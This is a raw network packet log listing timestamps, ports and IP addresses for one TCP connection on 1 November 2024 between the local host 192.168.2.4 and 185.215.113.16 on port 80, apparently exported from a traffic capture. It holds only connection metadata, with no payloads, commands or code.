Nov 1, 2024 10:56:10.736438036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736439943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736444950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736450911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736457109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736458063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736468077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736479044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736483097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736490011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736495018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736505032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736515999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736519098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736531973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736552954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737108946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737121105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737129927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737139940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737150908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737154007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737160921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737173080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737183094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737190008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737193108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737209082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737215042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737220049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737229109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737240076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737241030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737248898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737258911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737262964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737273932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737273932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737284899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737297058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737297058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737307072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737318993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.737324953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.737348080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.745955944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.745966911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.745994091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.792028904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.811554909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811614990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811631918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811656952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.811743975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811754942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811764956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811775923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811786890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.811789989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.811820984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812127113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812138081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812149048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812160015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812170029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812172890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812184095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812200069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812202930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812211990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812222004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812225103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812232971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812243938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812248945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812256098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812273026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812293053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812632084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812643051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812654018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812664986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812675953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812679052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812685966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812702894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812702894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812720060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812721968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812731028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812742949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812760115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812764883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812771082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812782049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812793016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812797070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812804937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812817097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812827110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812829018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812839985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812851906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812853098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812863111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812875032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812886000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812889099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812897921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812907934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812922001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.812923908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.812957048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.813824892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813836098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813853025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813864946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813868999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.813874960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813884974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813896894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813899994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.813906908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813919067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813929081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.813930988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813941956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813944101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.813952923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813965082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813966990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.813976049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813977957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.813987970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.813999891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814007998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814012051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814023972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814034939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814037085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814044952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814047098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814063072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814074039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814079046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814084053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814095974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814105988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814109087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814120054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814132929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814160109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814944029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814954996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814965010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814975977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814987898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.814990044 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.814999104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815001965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815011978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815025091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815027952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815040112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815052032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815057993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815064907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815074921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815076113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815087080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815097094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815099955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815108061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815119028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815129995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815136909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815141916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815157890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815169096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815171957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815182924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815195084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815203905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815206051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815217972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815227032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815237999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815242052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815242052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815251112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815262079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815270901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815295935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815879107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815891027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815898895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815911055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815921068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815924883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815934896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815953016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815959930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815964937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.815970898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815982103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815994978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.815995932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816005945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816016912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816023111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816028118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816040039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816050053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816059113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816063881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816075087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816078901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816085100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816090107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816095114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816107035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816117048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816119909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816128016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816132069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816138983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816150904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816159964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816162109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816174030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816184998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816188097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816196918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.816198111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.816229105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.870145082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.874680996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.879518032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.879559040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.879571915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.879606962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.886076927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891074896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891087055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891098022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891138077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891139030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891154051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891165018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891176939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891185045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891201019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891201973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891223907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891328096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891339064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891349077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891360998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891374111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891376972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891386032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891398907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891406059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891408920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891421080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891460896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891644955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891655922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891665936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891676903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891689062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891691923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891700983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891715050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891731024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891897917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891907930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891917944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891928911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891940117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891944885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891952038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.891966105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.891967058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892007113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892050028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892060995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892070055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892081022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892091036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892096043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892102003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892112970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892117977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892123938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892133951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892143965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892154932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892158985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892170906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892182112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892184973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892193079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892204046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892205954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892215967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892227888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892251015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.892935038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892946005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892956018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892966032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892976046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892986059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.892988920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893003941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893016100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893027067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893028021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893037081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893045902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893048048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893059015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893069983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893076897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893080950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893091917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893101931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893109083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893112898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893131018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893142939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893153906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893157005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893166065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893177986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893179893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.893189907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893201113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.893213034 CET	80	49738	185.215.113.16	192.168.2.4
